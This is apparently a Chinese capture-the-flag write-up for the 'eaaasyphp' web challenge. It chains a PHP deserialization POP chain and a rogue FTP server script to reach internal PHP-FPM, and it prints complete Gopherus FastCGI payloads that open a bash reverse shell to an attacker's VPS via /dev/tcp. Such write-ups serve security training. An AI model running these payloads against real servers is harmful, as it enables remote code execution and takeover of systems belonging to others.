陇原战“疫“2021网络安全大赛Webeaaasyphp

读取phpinfo

尝试反序列化读取phpinfo

但是__wakeup()函数先于destruct函数执行&＃xff0c;所以需要绕过:__

PHP :: Bug #81151 :: bypass __wakeup

?code&＃61;C:4:"Hint":0:{}


注意这个FPM/FastCGI

打fastcgi

使用Gopherus生成打fastcgi的payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_
PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCR
IPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp
/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00


同时还要在自己的vps上起一个恶意的ftp服务

恶意的ftp服务

ftp服务

# evil_ftp.py
import socket
s &＃61; socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((&＃39;0.0.0.0&＃39;, 7008))
s.listen(1)
conn, addr &＃61; s.accept()
conn.send(b&＃39;220 welcome\n&＃39;)
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b&＃39;331 Please specify the password.\n&＃39;)
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b&＃39;230 Login successful.\n&＃39;)
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b&＃39;200 Switching to Binary mode.\n&＃39;)
#Size /
conn.send(b&＃39;550 Could not get the file size.\n&＃39;)
#EPSV (1)
conn.send(b&＃39;150 ok\n&＃39;)
#PASV
conn.send(b&＃39;227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n&＃39;) #STOR / (2)
conn.send(b&＃39;150 Permission denied.\n&＃39;)
#QUIT
conn.send(b&＃39;221 Goodbye.\n&＃39;)
conn.close()


构造pop链

构造pop链触发Bunny类中的file_put_contents

unserialize——>Bypass类的__destruct()函数——>Welcome类的__invoke()函数——>Bunny类的__toString()函数——>调用其file_put_contents()打内网的fpm

(vps自行修改)

class Check {public static $str1 &＃61; false;public static $str2 &＃61; false;
}class Esle {public function __wakeup(){Check::$str1 &＃61; true;}
}class Hint {public function __wakeup(){$this->hint &＃61; "no hint";}//这里可以利用得到phpinfo&＃xff08;&＃xff09;,前提是绕过__wakeup()&＃xff0c;将O换为C即可绕过public function __destruct(){if(!$this->hint){$this->hint &＃61; "phpinfo";($this->hint)();}}
}class Bunny {//当一个对象被当作字符串对待的时候&＃xff0c;会触发这个__toString()魔术方法//比如$b &＃61; new Bunny();那么 echo $b; 就会调用__toString这个方法public function __toString(){if (Check::$str2) {if(!$this->data){$this->data &＃61; $_REQUEST[&＃39;data&＃39;];}//写入文件 但是题目把写文件的权限给删掉了&＃xff0c;所以这个思路不通//可以配合ftp打内网的fpmfile_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}class Welcome {//当以调用函数的方式&＃xff0c;调用一个对象时&＃xff0c;__invoke函数会被自动调用//比如$a &＃61; new Welcome(),那么进行 $a()的时候就会调用__invoke()函数//而上述用法可以在Bypass中进行利用public function __invoke(){Check::$str2 &＃61; true;return "Welcome" . $this->username;}
}class Bypass {public $aaa;public function __destruct(){if (Check::$str1) {//另str4为一个Welcome的类对象&＃xff0c;调用其__invoke()函数($this->str4)();} else {throw new Error("Error");}}
}$a &＃61; new Bypass();
$a->aaa &＃61; new Esle();
$a->str4 &＃61; new Welcome();
$a->str4->username &＃61; new Bunny();
$a->str4->username->filename &＃61; "ftp://aaa&＃64;vps:7008/123";
echo urlencode(serialize($a));/*
if (isset($_GET[&＃39;code&＃39;])) {unserialize($_GET[&＃39;code&＃39;]);
} else {highlight_file(__FILE__);
}*/


打内网的fpm这一点类似于[蓝帽杯2021 one point php]&＃xff1a;[蓝帽杯 2021]One Pointer PHP_Sk1y的博客-CSDN博客

payload&＃xff08;vps自行修改&＃xff09;

?code&＃61;O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A33%3A%22ftp%3A%2F%2Faaa%40116.62.240.148%3A7008%2F123%22%3B%7D%7D%7D&data&＃61;%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

运行ftp.py&＃xff0c;在vps的7008端口开启ftp恶意服务

python3 ftp.py


监听vps的7777端口&＃xff0c;

参考链接

1. PHP :: Bug #81151 :: bypass __wakeup
2. 陇原战疫2021网络安全大赛 Web_feng的博客-CSDN博客
3. One Pointer PHP_Sk1y的博客-CSDN博客